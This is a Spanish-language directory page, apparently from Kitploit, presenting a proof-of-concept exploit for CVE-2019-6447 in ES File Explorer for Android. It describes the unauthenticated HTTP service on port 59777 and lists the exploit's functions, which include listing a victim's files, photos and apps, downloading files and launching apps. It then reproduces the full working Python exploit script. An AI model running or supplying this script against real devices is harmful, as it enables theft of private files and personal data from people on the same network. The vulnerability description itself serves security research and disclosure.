Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
EsFileExplorer-CVE-2019-6447 — Explotación de vulnerabilidad de Android en ES File Explorer | Kitploit
Herramientas/GitHubGitHub/chethine/esfileexplorer-cve-2019-6447
Seguridad AndroidAnálisis de VulnerabilidadesExplotaciónExfiltración de DatosRecopilación de InformaciónSeguridad Móvil
GitHubchethine/esfileexplorer-cve-2019-6447

EsFileExplorer-CVE-2019-6447

Explotación de vulnerabilidad de Android en ES File Explorer

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
3136hace 4 añosAún no revisado

EsFileExplorer-CVE-2019-6447

Explotando la vulnerabilidad de Android en ES File Explorer

Vulnerabilidad

El explorador de archivos ES fue creado por ES worldwide, que forma parte de DO Global y tiene su sede en China. Este explorador de archivos ES solo está disponible para su uso en dispositivos móviles que ejecutan el sistema operativo Android. En la actualidad, ES File Explorer se ha descargado más de 100 millones de veces. Esta aplicación es el famoso explorador de archivos de Android, por lo que recibe mucha atención. Por otro lado, en 2019, investigadores especializados en ciberseguridad descubrieron una vulnerabilidad en la versión 4.1.9.7.4 de ES File Explorer. Los atacantes que pueden explotar esa vulnerabilidad están en condiciones de recopilar todos los datos sensibles del usuario que se guardan en ES File Explorer. Esto incluye fotografías, videos, grabaciones de voz, documentos y otros tipos de datos.

Descripción de la vulnerabilidad

Hasta la versión 4.1.9.7.4, la aplicación ES File Explorer File Manager para Android permite a atacantes remotos leer archivos arbitrarios o ejecutar aplicaciones en una red Wi-Fi local realizando consultas al puerto TCP 59777. Después de que la aplicación ES se haya iniciado al menos una vez, este puerto TCP permanecerá abierto y responderá a datos application/json no autenticados enviados a través de HTTP.

Versión afectada

Versión 4.1.9.7.4

Cada vez que un usuario inicia la aplicación, se inicia un servidor HTTP. Este servidor abre localmente el puerto 59777:
root@kitploit:~
angler:/ # netstat -ap | grep com.estrongs
tcp6       0      0 :::59777                :::*                    LISTEN      5696/com.estrongs.android.pop

Características de la Prueba de Concepto (POC)

  • Listar todos los archivos en la sdcard del dispositivo víctima
  • Listar todas las imágenes en el dispositivo víctima
  • Listar todos los videos en el dispositivo víctima
  • Listar todos los archivos de audio en el dispositivo víctima
  • Listar todas las aplicaciones instaladas en el dispositivo víctima
  • Listar todas las aplicaciones del sistema instaladas en el dispositivo víctima
  • Listar todas las aplicaciones de teléfono instaladas en el dispositivo víctima
  • Listar todos los archivos apk almacenados en la sdcard del dispositivo víctima
  • Listar todas las aplicaciones instaladas en el dispositivo víctima
  • Obtener información del dispositivo víctima
  • Extraer un archivo del dispositivo víctima
  • Iniciar una aplicación de tu elección
  • Obtener el icono de una aplicación de tu elección

Carga útil

root@kitploit:~
import requests
import json
import ast
import sys

if len(sys.argv) < 3:
    print(f"USAGE {sys.argv[0]} <command> <IP> [file to download]")
    sys.exit(1)

url = 'http://' + sys.argv[2] + ':59777'
cmd = sys.argv[1]
cmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']
listCmds = cmds[:9]
if cmd not in cmds:
    print("[-] WRONG COMMAND!")
    print("Available commands : ")
    print("  listFiles         : List all Files.")
    print("  listPics          : List all Pictures.")
    print("  listVideos        : List all videos.")
    print("  listAudios        : List all audios.")
    print("  listApps          : List Applications installed.")
    print("  listAppsSystem    : List System apps.")
    print("  listAppsPhone     : List Communication related apps.")
    print("  listAppsSdcard    : List apps on the SDCard.")
    print("  listAppsAll       : List all Application.")
    print("  getFile           : Download a file.")
    print("  getDeviceInfo     : Get device info.")
    sys.exit(1)

print("\n==================================================================")
print("|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |")
print("|                Coded By : Nehal a.k.a PwnerSec                 |")
print("==================================================================\n")

header = {"Content-Type" : "application/json"}
proxy = {"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"}

def httpPost(cmd):
    data = json.dumps({"command":cmd})
    response = requests.post(url, headers=header, data=data)
    return ast.literal_eval(response.text)

def parse(text, keys):
    for dic in text:
        for key in keys:
            print(f"{key} : {dic[key]}")
        print('')

def do_listing(cmd):
    response = httpPost(cmd)
    if len(response) == 0:
        keys = []
    else:
        keys = list(response[0].keys())
    parse(response, keys)

if cmd in listCmds:
    do_listing(cmd)

elif cmd == cmds[9]:
    if len(sys.argv) != 4:
        print("[+] Include file name to download.")
        sys.exit(1)
    elif sys.argv[3][0] != '/':
        print("[-] You need to provide full path of the file.")
        sys.exit(1)
    else:
        path = sys.argv[3]
        print("[+] Downloading file...")
        response = requests.get(url + path)
        with open('out.dat','wb') as wf:
            wf.write(response.content)
        print("[+] Done. Saved as `out.dat`.")

elif cmd == cmds[10]:
    response = httpPost(cmd)
    keys = list(response.keys())
    for key in keys:
        print(f"{key} : {response[key]}")

Demostración

Demo

Contáctame

¡Sígueme en Twitter!
¡Conéctate conmigo en LinkedIn!
Descargar herramienta